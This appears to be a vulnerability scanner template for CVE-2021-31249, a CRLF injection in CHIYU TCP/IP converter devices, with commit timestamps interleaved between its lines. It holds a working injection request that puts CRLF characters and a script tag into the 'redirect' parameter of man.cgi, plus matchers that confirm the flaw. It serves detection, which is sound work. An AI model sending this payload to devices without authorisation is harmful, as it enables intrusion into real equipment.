2021-07-26 17:18:45 +00:00
id : CVE-2021-31249
info :
name : CHIYU TCP/IP Converter devices - CRLF injection
author : geeknik
severity : medium
2022-05-17 09:18:12 +00:00
description : A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter 'redirect' available on multiple CGI components.
2022-04-22 10:38:41 +00:00
reference :
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
2022-05-17 09:18:12 +00:00
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-31249
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,chiyu,crlf,iot
2021-07-26 17:18:45 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
matchers-condition : and
matchers :
- type : status
status :
- 302
- type : word
part : header
words :
- "Location: setting.htm"
- "<script>alert(document.domain)</script>"
condition : and